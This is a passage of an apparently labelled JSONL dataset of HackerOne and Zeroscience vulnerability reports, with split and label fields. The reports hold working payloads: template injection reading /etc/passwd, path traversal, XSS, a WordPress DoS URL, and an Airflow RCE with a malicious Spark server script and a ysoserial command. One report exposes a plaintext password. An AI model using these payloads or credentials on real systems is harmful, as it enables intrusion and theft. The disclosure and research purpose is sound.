maximum-scale=1\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/catalog-portal/css/errorpage.css\">\n    </head>\n\n    <body>\n        <div class=\"error-container\">\n            <div class=\"error-img-container\">\n                <img src=\"/catalog-portal/app/graphics/warning.svg\" class=\"warning-icon\">\n            </div>\n            <div class=\"error-text-heading\">Request Failed</div>\n            <div class=\"error-text-container\">\n                <p>Please contact your IT Administrator.</p>\n                <a href=\"/catalog-portal/ui/logout?error=&deviceUdid=$%7B%22freemarker.template.utility.Execute%22?new()(%22cat%20/etc/passwd%22)%7D\">Sign Out</a>\n            </div>\n        </div>\n    </body>\n    <script>\n        if(console && console.log) {\n            console.log(\"auth.context.invalid\");\n            console.log(\"Authorization context is not valid. Login request  received with tenant code: uhhz-lbr-004v, device id: █████;\n        }\n    </script>\n</html>\n```\n\n* As you can see the above response, which contains the response of /etc/passwd in the response\n\n## Suggested Mitigation/Remediation Actions\nUpgrade the instances to the latest version", "source": "hackerone", "timestamp": "2022-04-20", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "3b43a71018b20f22526c", "text": "[Unknown] [JAVA]: Partial Path Traversal\n\nThis bug was reported directly to GitHub Security Lab.", "source": "hackerone", "timestamp": "2022-10-05", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "546e278cfc1de7c7b7e3", "text": "[Path Traversal] [CVE-2020-3452] Unauthenticated file read in Cisco ASA\n\nI found out that   https://███/ was vulnerable to CVE-2020-3452.\n\nThe IP has a SSL certificate pointing to DoD.\n`curl -kv https://██████████/`\n\nOutput:\n```\nServer certificate:\n*  subject: █████\n```\n\n## Impact\n\nAnyone can read any file present on the server.\n\n## System Host(s)\n████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nYou can test it by visiting the URL:\nhttps://██████████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../\nhttps://███████/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua\n\n## Suggested Mitigation/Remediation Actions\nhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86", "source": "hackerone", "timestamp": "2022-02-14", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "91626f1b90087abfee5c", "text": "[Improper Access Control - Generic] Broken access control, can lead to legitimate user data loss\n\nHi team,\nDuring testing the security of ██████████ I found another possible attack vector:\n(There are two reports preceding this one -  https://hackerone.com/reports/1489470 and  https://hackerone.com/reports/1489744)\n\nI will try to explain:\nWhen an user need access to that information system he fills a request form at:\nhttps://█████████/████████\nor\nhttps://█████████/██████\nAfter submitting the form the server response contains a █████████ which identifies this user request.\nThen  the request is reviewed by an administrator, and he decides if user access will be granted or rejected.\nThe vulnerability I found is that unauthorized person can access the end point responsible for deleting user requests - █████████ and by providing just the ███ parameter he can delete any request.\n\n## References\n\n## Impact\n\nAn attacker can delete  legitimate user requests, disturbing the normal operation  of the system and causing data loss.\nThe user request ids are sequential numbers - my requests were given ids - ████████, so the attacker can delete all requests in the system by accessing the ████ end point with each ██████ from ██████████.\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\n██████████\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1.  Activate Burp proxy, go to https://███/██████████, fill and submit the form (screenshot1)\n2. Inspect server response in Burp and take a note of the returned █████ (screenshot2) which is number, referencing this user access request\n3. (optional) we can confirm our request is in the system by performing the attack described in the other report I made (https://hackerone.com/reports/1489470) - resulting in our request being exfiltrated from the database:\nexecute following command, and replace the █████ parameter with the one you noted on step 2 (screenshot)\ncurl https://██████/██████████ -X POST -data=\"url=%2F████&██████████=████████\" -k\n\n4. Deleting the request - CAUTION - execute this step only by referencing ██████████ for requests, you made otherwise you will delete legitimate user request!(sceenshot4)\nthe command abusing the delete request endpoint is:\ncurl https://██████/███████████████ -X POST -data=\"url=%2F███████&███████=██████\" -k\n\n5. (optional) to confirm request is deleted you can execute again Step 3, which now responds with empty body - the request is no longer present in the database.\n\n## Suggested Mitigation/Remediation Actions\nThe ██████████ endpoint should perform check if the user is logged in and authorized to use it.", "source": "hackerone", "timestamp": "2022-04-07", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "3e040cb62cffcb785504", "text": "[Cross-site Scripting (XSS) - DOM] [CVE-2023-23913] DOM Based Cross-site Scripting in rails-ujs for contenteditable HTML Elements\n\n# Summary\nOriginal report: https://hackerone.com/reports/1767802\n\n## Impact\n\nIf the specified malicious HTML clipboard content is provided to a `contenteditable` element, this could result in the arbitrary execution of javascript on the origin in question.", "source": "hackerone", "timestamp": "2023-09-07", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "2b99cade015d32d2b443", "text": "[Cross-site Scripting (XSS) - DOM] Cross Site Scripting Vulnerability in fabric-sdk-py source code\n\nSee this fix on GitHub \nhttps://github.com/hyperledger/fabric-sdk-py/pull/175\n\n## Impact\n\nSome old affected versions of this package are vulnerable to Cross-site Scripting (XSS). Passing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.", "source": "hackerone", "timestamp": "2022-08-17", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "34b80070fb5e9ad0dd73", "text": "[Unknown] [Python]: CWE-079: HTTP Header injection\n\nThis bug was reported directly to GitHub Security Lab.", "source": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "e91557c46bb31467bd53", "text": "[Cross-site Scripting (XSS) - Generic] CVE-2022-23520: Incomplete fix for CVE-2022-32209 (XSS in Rails::Html::Sanitizer under certain configurations)\n\nThe following is from: https://hackerone.com/reports/1654310\n\nWhile building a PoC for CVE-2022-32209, I noticed that I could not fix my vulnerable application by updating https://github.com/rails/rails-html-sanitizer from 1.4.2 to 1.4.3 even though the Hackerone report about this vulnerability suggested that this should fix it (see here: https://hackerone.com/reports/1530898).\n\nI built this app with Rails 7.0.3.1 by just running \"rails new\", adding `config.action_view.sanitized_allowed_tags = [\"select\", \"style\"]` to the file `config/application.rb` and creating an endpoint that reflected a parameter after sanitizing it (ERB: `<p>Hello <%= sanitize @name %></p>`). When using the payload `<select><style><script>alert(\"XSS\")</script></style></select>` for the parameter I got an alert no matter what the version of rails-html-sanitizer was.\n\nI believe the reason is the following. There are two ways you can pass the list of allowed tags to the sanitizer. One is via a list of tags stored in a class attribute, the other is via an argument passed into the `sanitize` method. The fix only considered the second way but the first one was forgotten. See the commit with the fix here: https://github.com/rails/rails-html-sanitizer/commit/c871aa4034d3d80ad67cf33a3462154b0a0fb477#diff-0daf33b9062eb5ccdeae86ed8bf2662a6e8669f1a7db590802b7f3b36ea47426R159\nThe relevant part of the code is this:\n\n```ruby\nmodule Rails\n  module Html\n    class SafeListSanitizer < Sanitizer\n      ...\n      def remove_safelist_tag_combinations(tags)\n        if !loofah_using_html5? && tags.include?(\"select\") && tags.include?(\"style\")\n          warn(\"WARNING: #{self.class}: removing 'style' from safelist, should not be combined with 'select'\")\n          tags.delete(\"style\")\n        end\n        tags\n      end\n\n      def allowed_tags(options)\n        if options[:tags]\n          remove_safelist_tag_combinations(options[:tags])\n        else\n          self.class.allowed_tags\n        end\n      end\n      ...\n    end\n  end\nend\n```\n\nMethod `remove_safelist_tag_combinations` is introduced to remove `style` from the allow list if `select` is in there. However, within method `allowed_tags` this cleanup is only applied to the tag list in the `options`, not to ` self.class.allowed_tags`, the list stored in the sanitizer class.\nHowever, it seems that the configuration in  `config/application.rb` which I've set above put the list into the class variable (I've sprinkled a few `puts` here and there to confirm that).\n\nMoreover, when moving the allow list from `config/application.rb` into the ERB template\n(`<p>Hello <%= sanitize @name, tags: [\"select\", \"style\"] %></p>`), the update from\n1.4.2 to 1.4.3 does fix the problem.\n\n## Impact\n\nIt is possible to bypass Rails::Html::SafeListSanitizer filtering and perform an XSS attack.", "source": "hackerone", "timestamp": "2023-01-04", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "587c011e2c6f6068dc2f", "text": "Osprey Pump Controller 1.0.1 Cross-Site Request Forgery\n\nSeverity: high", "source": "zeroscience", "timestamp": "2023-02-27", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "c7aec12fbdf94b2a1fc0", "text": "[Cross-site Scripting (XSS) - Stored] Stored xss at https://█.8x8.com/api/█/ID\n\n## Summary:\nhey , \ni found a stored  xss at `https://██████.8x8.com/api/██████mentInfoById/ID` , when i analysis javascript code i understand user can modify her ip address with endpoint `https://███.8x8.com/api/patchPaymentMethod/ID` , next point i understand when we open    `https://████████.8x8.com/api/██████████mentInfoById/ID` server set `Content-Type: text/html;charset=UTF-8` , this was interesting point , then i modify ip address with this request:\n```\nPOST /api/patchPaymentMethod/█████████ HTTP/2\nHost: ███.8x8.com\nCookie: ajs_anonymous_id=13b1ab4c-87f5-4dbb-967b-066b6d7efd1e; _gcl_au=1.1.275521026.1689699475; _fbp=fb.1.1689701587161.1730712436; __cf_bm=MloB4oUJmeviUXpE1GRUn8TtqbE4CwVEttuZr9tUrOQ-1689845706-0-AWJDz0q9F1c0CmKcbShEYyS7Qqsfd88Gb9W9YsIXUoHhnP/aHA+wGRccAnb8GxD1HBTGXJ71aHh7XzOojjLP/sg=\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: none\nSec-Fetch-User: ?1\nTe: trailers\nContent-Type: application/json\nContent-Length: 112\n\n{\n              \"ipAddress\": \"<svg on onload=(alert)(document.domain)>\",\n\"callBackURL\":\"dssdsd\"\n            }\n```\nnow i get response : \n```\nHTTP/2 400 Bad Request\nDate: Thu, 20 Jul 2023 23:30:32 GMT\nContent-Length: 0\nCache-Control: no-cache, no-store, max-age=0, must-revalidate\nExpires: 0\nPragma: no-cache\nStrict-Transport-Security: max-age=31536000 ; includeSubDomains\nX-Content-Type-Options: nosniff\nX-Frame-Options: DENY\nX-Gk-Traceid: e97be98a-d5e6-4fce-a6a5-4d5f6d28b02a\nX-Regional-Id: usw2-gk-65dc71e19a79\nX-Served-Epoch: 1689895832189\nX-Xss-Protection: 1; mode=block\nCf-Cache-Status: DYNAMIC\nSet-Cookie: __cf_bm=7dklJH6I0nIayzUSs2ga_6bhxG_AZTclwDwaUIaKeBQ-1689895832-0-AQvIhwqEdRP3rLeIkHe1u4gqwspbam+/6s7/WEIOEsrvvvpuOSaaBNi36GsWEVNOGQWbRBz4Z89eCgjOTdOWGv0=; path=/; expires=Fri, 21-Jul-23 00:00:32 GMT; domain=.8x8.com; HttpOnly; Secure; SameSite=None\nServer: cloudflare\nCf-Ray: 7e9efe156adf41f9-EWR\n\n\n```\n\nthen i check url : https://█████████.8x8.com/api/██████████mentInfoById/████ \nand i seen ip address updated and █████load successfully executed : \n█████████\n  \n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n  1. open url : https://███.8x8.com/api/████mentInfoById/█████ \n  1. you can see my injected ████████load executed :D \n\n## Supporting Material/References:\n███\n\n## Impact\n\nStealing cookies and executed javascript in victim browser", "source": "hackerone", "timestamp": "2023-10-30", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "d7a623c0fe6abddc7619", "text": "[Insecure Storage of Sensitive Information] Exposure Of Admin Username & Password\n\nHello Team, \nTher an exposure of your username and password on this    subdomain https://engage2.mtnonline.com/nc/\n\n\nExposed Credentials\n\n    uid: \"mtnng\",\n        passwd: \"bd31568138edbfc0552a1ecc6886ea5c\",\n\n\n\nSteps To Reproduce:\n\nVisit https://engage2.mtnonline.com/nc/ \n\nNow, press CTRL+U to view the source code of this page,\n\n\nLook for this code\n\n\n\n\n       console.log(message);\n    }\n}\n\n    (function (){\n    const plid = 73;\n\n    const mtnContainer = document.getElementById(\"mtn20238\");\n    const mtnUri = mtnContainer.childNodes[0].getAttribute(\"href\");\n    mtnContainer.addEventListener(\"click\", ()=>fetch(mtnUri).catch(()=>{}));\n\n    window.mobucksApi.placeAd({\n        containerElementId: \"mtn20238\",\n        uid: \"mtnng\",\n        passwd: \"bd31568138edbfc0552a1ecc6886ea5c\",\n        plid:plid,\n        }, () => { \n            typeof mtnNoBanner == \"function\" && mtnNoBanner(plid,mtnContainer);\n\n## Impact\n\nThe exposed password is in md5 which I was able to decrypt easily\n\nuid: mtnng\nhash = bd31568138edbfc0552a1ecc6886ea\nplain password: v0d@c0mS@\n\nAnd as an attacker, this can be abused in lots of ways such as exposing some client's info\n\nhttps://adsmobucks.mtnbusiness.com.ng/feed?uid=mtnng&passwd=bd31568138edbfc0552a1ecc6886ea5c&plid=8", "source": "hackerone", "timestamp": "2022-12-25", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "ecdcc4f4c1deac295a80", "text": "[Uncontrolled Resource Consumption] DoS at ████████ (CVE-2018-6389)\n\nHi DoD Team!\n\n##Description\n\nUnauthenticated attackers can cause a denial of service (resource consumption) by using the large list of registered .js files (from wp-includes/script-loader.php) to construct a series of requests to load every file many times.\n\nThe vulnerability is registered as [CVE-2018-6389](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389).\n\nWordPress allows users to load multiple JS files and CSS files through load-scripts.php files at once. However, the number and size of files are not restricted in the process of loading JS files, attackers can use this function to deplete server resources and launch denial of service attacks.\n\n##Vulnerability\n\nhttps://███/wp-admin/load-scripts.php?load=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter\n\n███ \n\n## References\n\nhttps://hackerone.com/reports/925425\nhttps://hackerone.com/reports/335177\n\n## References\n\n## Impact\n\nAttackers can use this vulnerable function to deplete server resources and launch denial of service attacks.\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nAccess:\n```\nhttps://████████/wp-admin/load-scripts.php?load=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scripta", "source": "hackerone", "timestamp": "2023-02-24", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "024ee216ec85fff74232", "text": "[Deserialization of Untrusted Data] [CVE-2023-27531] Possible Deserialization of Untrusted Data vulnerability in Kredis JSON\n\nI made a report and patch at https://hackerone.com/reports/1702859 .\n\nhttps://discuss.rubyonrails.org/t/cve-2023-27531-possible-deserialization-of-untrusted-data-vulnerability-in-kredis-json/82467\n\n> There is a deserialization of untrusted data vulnerability in the Kredis JSON deserialization code. This vulnerability has been assigned the CVE identifier CVE-2023-27531.\n\n## Impact\n\n> Carefully crafted JSON data processed by Kredis may result in deserialization of untrusted data, potentially leading to deserialization of unexpected objects in the system.", "source": "hackerone", "timestamp": "2023-08-15", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "75beb9b7434366dcb8af", "text": "[Deserialization of Untrusted Data] CVE-2023-40195: Apache Airflow Spark Provider Deserialization Vulnerability RCE\n\nApache Airflow Spark Provider. After the malicious Spark server address is configured through the connections of the Airflow UI interface, attackers exploit malicious servers to manipulate pyspark clients through malicious deserialization data. So as to implement RCE attack on airflow server.\n\n##Vulnerability principle：\n\n1. Analyze spark principle: Spark protocol is based on RPC communication. The RPC communication process is a serialization and deserialization process, Therefore, attackers can call arbitrary java methods through deserialization, implement RCE.\n\n2.Spark can attack the server through malicious client deserialization, and can also attack the client through malicious server; In the Airflow scenario, PySpark is used as a client to connect to the Spark Server through Spark Provider. So, an attacker only needs to construct a malicious server to attack Airflow's Spark client.\n\nThe command that triggers deserialization is as follows:\n**spark-submit --master spark://evil_ip:port**\nTherefore, an attacker can configure malicious ip and port through the connections of the Airflow UI. And to execute the above command, then trigger the deserialization operation.\n\n##Vulnerability exploitation process：\n\n1. Create a new ‘Spark’ connection is named ‘spark_default’，and configure the Port and Host parameter.\nHost: spark://172.31.76.174\nPort: 8888\n\n###172.31.76.174 is malicious spark server address for attackers\n\n\n(F2648714)\n\n{F2648715}\n\n2.Attackers generate malicious deserialized data (exp.der) through the deserialization tool ysoserial. \n**Tool URL: https://github.com/frohoff/ysoserial**\nThe attacker locally executes the following commands：\n**\"C:\\Program Files\\Java\\jre1.8.0_361\\bin\\java\" -jar ysoserial.jar CommonsCollections4 \"touch /tmp/thisisRCE\" > exp.der**\n#touch /tmp/thisisRCE is malicious commands to be executed on airflow.\n\n{F2648716}\n\n3.The attacker starts the malicious Spark server locally and specifies the malicious deserialized data to be transmitted.\n**python2 evil_spark_server.py 8888 exp.der**\n\n{F2648717}\n\n4. Enter the DAGs menu and start hive_dag task, select “Trigger DAG w/ config”. \nhttp://localhost:8080/trigger?dag_id=example_spark_operator\n\n{F2648718}\n\n4. The final command is as follows:\n\n**spark-submit --master spark://172.31.76.174:8888 --name arrow-spark /tmp/file**\nThrough the log and server view, it can be seen that any command has been executed successfully.\n\n{F2648719}\n\nThe malicious server successfully accepted the request and sent malicious data.\n\n{F2648720}\n\nSuccessfully executed malicious commands on Airflow Worker Server.\n\n{F2648722}\n\n**evil_spark_server.py**\n```\n#!/usr/bin/python\nimport socket\nimport os\nimport sys\nimport struct\n\nfrom SocketServer import BaseRequestHandler, ThreadingTCPServer\n\nclass EchoHandler(BaseRequestHandler):\n    def handle(self):\n        print 'Got connection from %s'%(str(self.client_address))\n        while True:\n            msg = self.request.recv(8192)\n            print msg\n            if not msg:\n                break\n            if len(msg) > 16:\n                print \"Send msg>>>\"\n                self.request.send(build_msg(msg[9:17]))\n\ndef build_msg(request_id):\n    payloadObj = open(sys.argv[2],'rb').read()\n    msg_type = '\\x04'\n    head_length = 21\n    msg = struct.pack('>Q',len(payloadObj) + 21) + msg_type + request_id\n    msg += struct.pack('>I',len(payloadObj)) + payloadObj\n    return msg\nif __name__ == '__main__':\n    if len(sys.argv) < 3:\n        print 'Usage: python %s <port> </path/to/payload>' % os.path.basename(sys.argv[0])\n        sys.exit()\n    serv = ThreadingTCPServer(('0.0.0.0', int(sys.argv[1])), EchoHandler)\n    print \"Server listening on 0.0.0.0:%s\"%(sys.argv[1])\n    serv.serve_forever()\n```\n\n**DAG Demo(example_spark.py):**\n```\nfrom datetime import datetime\n\nfrom airflow.models import DAG\nfrom airflow.providers.apache.spark.operators.spark_jdbc import SparkJDBCOperator\nfrom airflow.providers.apache.spark.operators.spark_sql impo", "source": "hackerone", "timestamp": "2023-09-08", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "a8f49fa1994a9fadcaae", "text": "[Business Logic Errors] [app.lemlist.com] Improper handling of payment lead to bypass payment\n\n## Summary:\nHello Team,\nI truly hope it treats you awesomely on your side of the screen :)\n\ndue to improper handling of payment methods, an attacker can easily bypass the payment and benefit from a paid plan.\n\n## Steps To Reproduce:\n\n1. Log to your account\n1. Go to the billing page\n1. Fill in the address tab\n1. Go to the next tab `Payment Card` \n1. ==Now the interesting step Make sure you don't have any money on your credit card==\n1.  Chose `Email outreach` and wait until you get a notification that the payment is failed\n1.  Next  increase the number of seats for example 50 \n1. Again you will get a notification that the payment is failed\n1. Now Cancel the subscription\n1. Now I can use the paid features without paying anything.\n\n# POC\n{{F1538593}}\n\n## Impact\n\nI think the impact is pretty obvious, an attacker can use paid plans without paying anything.\n\nif you need more info feel free to ping me \n\nbest Regards\n@omarelfarsaoui", "source": "hackerone", "timestamp": "2022-05-17", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "d87c3a70cdc5d555a29d", "text": "Ateme TITAN File 3.9 Job Callbacks SSRF File Enumeration\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2023-07-07", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "1896b557509baef57641", "text": "[Information Disclosure] Django debug enabled showing information about system, database, configuration files\n\n## Summary:\nHi team,\nThis subdomain `pulpo.it.glovoint.com` is a Django application running with debug mode turned on (DEBUG = True ).\nOne of the main features of debug mode is the display of detailed error pages to help developers.\nIf your app raises an exception when DEBUG is True, Django will display a detailed traceback, including a lot of metadata about your environment, such as all the currently defined Django settings.py file.\n\n## Steps To Reproduce:\nit's not complicated and needs some user interaction, using  Burpsuite I send the POST request to `https://pulpo.it.glovoint.com/admin` path and I got 500 response. \n\nThe information leaked includes the following:\nDjango Version.\npython Version\nIP addresses\nS3_URL\ndatabase (username, URL, type, port )\nemail addresses\n\n\n## Supporting Material/References:\n███\n\n## Remediation:\nNever deploy with DEBUG turned on.\nTo disable debug mode, set DEBUG=False in your Django settings.py file.\n\n## Impact\n\nAn attacker can obtain information such as:\nDjango & Python version.\nUsed database type, database user name, and current database name.\nDetails of the Django project configuration.\nInternal file paths.\nException-generated source code, local variables and their values.\nThis information might help an attacker gain more information and potentially to focus on the development of further attacks on the target system.", "source": "hackerone", "timestamp": "2022-05-31", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "f31568e89ddde0a4fa33", "text": "[Cross-site Scripting (XSS) - Stored] XSS exploit of RDoc documentation generated by rdoc\n\nWhen creating  an RDoc html documentation, there is a possibility to inject malicious code through file name.\n\n# PoC\n\n```bash\n~ $ touch \\\"\\>\\<object\\ src\\=1\\ onerror\\=\\\"javascript\\:alert\\(1\\)\\;\\\"\\>Controlling\\ what\\ is\\ documented\\ here\n~ $ ls\n\"><object src=1 onerror=\"javascript:alert(1);\">Controlling what is documented here\n~ $ rdoc --all\n```\n\nNow, the generated index file has injected javascript code:\n\n```html\n...\n<li><a href=\"./\"><object src=1 onerror=\"javascript:alert(1);\">Controlling what is documented here.html\">&quot;&gt;&lt;object src=1 onerror=&quot;javascript:alert(1);&quot;&gt;Controlling what is documented here</a>\n...\n```\n\nI set to the vulnerability the same severity as CVE-2013-0256 has, since rdoc is widely used on dev/production systems online documentation, etc.  An attacker can hide a bad-named-file deep in the project structure to be stealthy. Also,  the file can be very tricky-named in documentation list, can contain the real documentation code, and so as not to arouse suspicion for some time.\n\n## Impact\n\nThe injected code can exfiltrate data or install malware on the (user|developer)’s machine, etc.", "source": "hackerone", "timestamp": "2023-07-18", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "104db6c580545893cf44", "text": "[Server-Side Request Forgery (SSRF)] Blind SSRF in FogBugz project import\n\n### Steps to reproduce\n\n1. Run GitLab `docker run --detach --hostname gitlab.example.com --publish 443:443 --publish 80:80 --publish 22:22 --name gitlab gitlab/gitlab-ce:latest`\n2. Connect to the GitLab Docker container: `docker exec -it gitlab /bin/bash`\n3. Install netcat: `apt update && apt install -y netcat`\n4. Run server in container: `nc -llvp 12345`\n5. Use http://localhost:12345 as FogBugz URL  (see screenshot) \n{F602736}\n\n#### Results of GitLab environment info\n\n```\nroot@gitlab:/# gitlab-rake gitlab:env:info\n\nSystem information\nSystem:    \nCurrent User:  git\nUsing RVM:  no\nRuby Version:  2.6.3p62\nGem Version:  2.7.9\nBundler Version:1.17.3\nRake Version:  12.3.2\nRedis Version:  3.2.12\nGit Version:  2.22.0\nSidekiq Version:5.2.7\nGo Version:  unknown\n\nGitLab information\nVersion:  12.3.5\nRevision:  2417d5becc7\nDirectory:  /opt/gitlab/embedded/service/gitlab-rails\nDB Adapter:  PostgreSQL\nDB Version:  10.9\nURL:    http://gitlab.example.com\nHTTP Clone URL:  http://gitlab.example.com/some-group/some-project.git\nSSH Clone URL:  git@gitlab.example.com:some-group/some-project.git\nUsing LDAP:  no\nUsing Omniauth:  yes\nOmniauth Providers: \n\nGitLab Shell\nVersion:  10.0.0\nRepository storage paths:\n- default:   /var/opt/gitlab/git-data/repositories\nGitLab Shell path:    /opt/gitlab/embedded/service/gitlab-shell\nGit:    /opt/gitlab/embedded/bin/git\n```\n\n## Impact\n\nThe vulnerability allows an attacker to make arbitrary requests inside a GitLab instance's network.", "source": "hackerone", "timestamp": "2023-05-30", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "9beae918550009191a4e", "text": "SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x Directory Traversal File Write Exploit\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2022-12-14", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "eb923f0267cc496557b9", "text": "[Information Disclosure] Insecure crossdomain.xml on https://vdc.mtnonline.com/\n\nHi,\n\nhttps://vdc.mtnonline.com/crossdomain.xml contains the following xml file:\n\n```\n\n<?xml version=\"1.0\"?>\n<!DOCTYPE cross-domain-policy SYSTEM \"http://www.adobe.com/xml/dtds/cross-domain-policy.dtd\">\n\t<cross-domain-policy>    \n\t<site-control permitted-cross-domain-policies=\"all\"/>    \n\t<allow-access-from domain=\"*\"  secure=\"false\" to-ports=\"*\"/>\n\t<allow-http-request-headers-from domain=\"*\" headers=\"*\"/> \n\t</cross-domain-policy>\n\n```\n\n## Impact\n\nThis will make any one able to receive content from https://vdc.mtnonline.com/ , attacker can steal CSRF tokens and user PII.\n\nMore information about this issue is available here:\n\nhttps://medium.com/@x41x41x41/exploiting-crossdomain-xml-missconfigurations-3c8d407d05a8\n\nBest regards,\nVishu10x00 ❤️", "source": "hackerone", "timestamp": "2022-03-20", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "3a18167524e604c382db", "text": "[Improper Authentication - Generic] PIN 📌 BYPASS 🥷\n\nSummary:\n\n 983980808 IOS App has improper rate limit.\n\nWhen we try to brute force the PIN, we are rate limited for 5 minutes after 5 or 6 attempt.\n\nIn my testing I found that it was checking the device's local date / time so by changing it we can brute force the PIN.\n\nSteps To Reproduce:\n\n1.Install 983980808  IOS APP from IOS APP store.\n2.Create your PIN.\n3.Now open again your 983980808 IOS App\n4.You will be asked to enter the PIN.\n5.Try to brute force the code. You will see a message to try again after 5 min.\n6.Now change the date / time of your device.\n7.Observe there is no rate limit now.\n\nPOC video : IMG_7755.MP4\n\n## Impact\n\nAn attacker can brute force the PIN of an user", "source": "hackerone", "timestamp": "2022-03-18", "split": "val", "label_source": "within_source_cve_index", "label": 0}
